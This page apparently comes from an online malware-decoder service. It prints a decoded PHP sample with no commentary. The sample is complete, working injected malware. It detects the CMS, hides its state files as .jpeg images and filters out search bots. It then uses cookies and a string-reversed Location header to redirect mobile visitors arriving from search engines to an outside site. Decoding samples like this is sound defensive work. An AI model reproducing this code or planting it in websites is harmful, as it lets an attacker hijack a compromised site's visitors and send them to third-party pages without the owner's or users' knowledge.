Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


	if(!defined('SORRYCHIEF')){
	define('SORRYCHIEF',true);
	$versin='260423';
	$tim='22';
	$doc=$_SERVER['DOCUMENT_ROOT'];
		if(@is_dir($doc .'/uploads/posts/')){
		$pathh=$doc .'/uploads/posts/';
	}
		elseif(@is_dir($doc .'/wp-includes/')){
		$pathh=$doc .'/wp-includes/';
	}
		elseif(@is_dir($doc .'/cache/')){
		$pathh=$doc .'/cache/';
	}
		elseif(@is_dir($doc .'/bitrix/modules/')){
		$pathh=$doc .'/bitrix/modules/';
	}
		elseif(@is_dir($doc .'/system/library/')){
		$pathh=$doc .'/system/library/';
	}
		elseif(@is_dir($doc .'/includes/database/')){
		$pathh=$doc .'/includes/database/';
	}
	$time_file=$pathh ."timer.jpeg";
	$stat_file=$pathh ."stats.jpeg";
	$work_file=$pathh ."watermark.jpeg";
	$yahooo='__user_id_';
	$yahooo1=$yahooo .'1';
	$yahooo2=$yahooo .'2';
	$yahooo3=$yahooo .'3';
	$yahooo4=$yahooo .'4';
	$yahooo5=$yahooo .'5';
	$yahoooeu='__user_ids_';
	$ser=@$_SERVER;
	$hos=@$ser['HTTP_HOST'];
	$rf=@$ser['HTTP_REFERER'];
	$ref=@$ser['REQUEST_URI'];
	$usg=@$ser['HTTP_USER_AGENT'];
		if((!$usg)or($usg=='')or(@!preg_match('/baidu|ia_arch|oogle|igma|Bot|andex|bot|pider|EltaIn|curl|ahoo|amble|W3C_|YaBrow|rawle|Wget|mail./i',$usg))){
			if(@preg_match('/andex.|pinter|sogou|shenma|instag|yahoo.|msn.c|utube|odnok|ut.by|baidu|mail.r|search|smi2|igma|ambler|witter|ok.ru|vk.co|ulog|facebo.|oogle.|duckduck|naver|aol.c|rbc.|bing./i',$rf)){
				if((@preg_match('/p.browser|htc_|mini|symbos|obile|ndroid|midp|ymbian|j2me|eries\ 60|phone/i',$usg))and(@!isset($_COOKIE['dle_user_id']))and(@!preg_match('/=addnews|admin.php|=logout|=register|=feedback|login.php|administration/i',$ref))and($ref != '/')){
				@$yeasss="1";
			}
		}
	}
		if((@file_exists($work_file))&(@filesize($work_file)>1)&(@isset($_COOKIE[$yahoooeu]))&(@!isset($_COOKIE[$yahooo]))){
		@setcookie($yahooo,'79214477',time()+84214,'/');
			if(@!file_exists($time_file)){
			@file_put_contents($time_file,time()+85000);
			@file_put_contents($stat_file,"1");
		}
		$my_time=@file_get_contents($time_file);
			if($my_time>@time()){
			$f=@fopen($stat_file,"a+");
			@flock($f,LOCK_EX);
			$count=@fread($f,@filesize($stat_file));
			@$count++;
			@ftruncate($f,0);
			@fwrite($f,$count);
			@fflush($f);
			@flock($f,LOCK_UN);
			@fclose($f);
		}
			else{
			@unlink($time_file);
			@unlink($stat_file);
			@file_put_contents($work_file,"");
		}
			if(@file_exists($stat_file)){
			$count=@file_get_contents($stat_file);
				if($count>$tim){
				@unlink($time_file);
				@unlink($stat_file);
				@unlink($work_file);
			}
		}
	}
		if((@file_exists($work_file))&(@filesize($work_file)>1)&(@$yeasss == "1")&(!isset($_COOKIE[$yahoooeu]))){
		@setcookie($yahoooeu,'79214477',time()+84214,'/');
	}
		if(@!file_exists($work_file)&(@!isset($_COOKIE[$yahooo5]))){
		$bre=$_COOKIE[$yahooo];
			if(@isset($_COOKIE[$yahooo3])){
			@setcookie($yahooo4,'4',time()+84214,'/');
		}
			if(@isset($_COOKIE[$yahooo2])){
			@setcookie($yahooo3,'3',time()+84214,'/');
		}
			if(@isset($_COOKIE[$yahooo1])){
			@setcookie($yahooo2,'2',time()+84214,'/');
		}
			if(@isset($_COOKIE[$yahooo])){
			@setcookie($yahooo1,'1',time()+84214,'/');
		}
			if((@isset($_COOKIE[$yahooo6]))or(@isset($_COOKIE[$yahooo7]))or(@isset($_COOKIE[$yahooo3]))or(@isset($_COOKIE[$yahooo4]))){
			@setcookie($yahooo5,'954',@time()+85114,'/');
			@header(@strrev('21?igc.niw/pametis/skcehc/cc.spam-etis//:sptth :noitacoL') .'&seoref=' .rawurlencode($rf) .'parameter=\$keyword&se=\$se&ur=1' .strrev(strtoupper('=rerefer_ptth&')) .rawurlencode('http://' .$hos .$ref));
			exit;
		}
			if((!isset($_COOKIE[$yahooo]))&(@$yeasss == "1")){
			@setcookie($yahooo,'0',time()+84214,'/');
		}
	}
}
 



© 2023 Quttera Ltd. All rights reserved.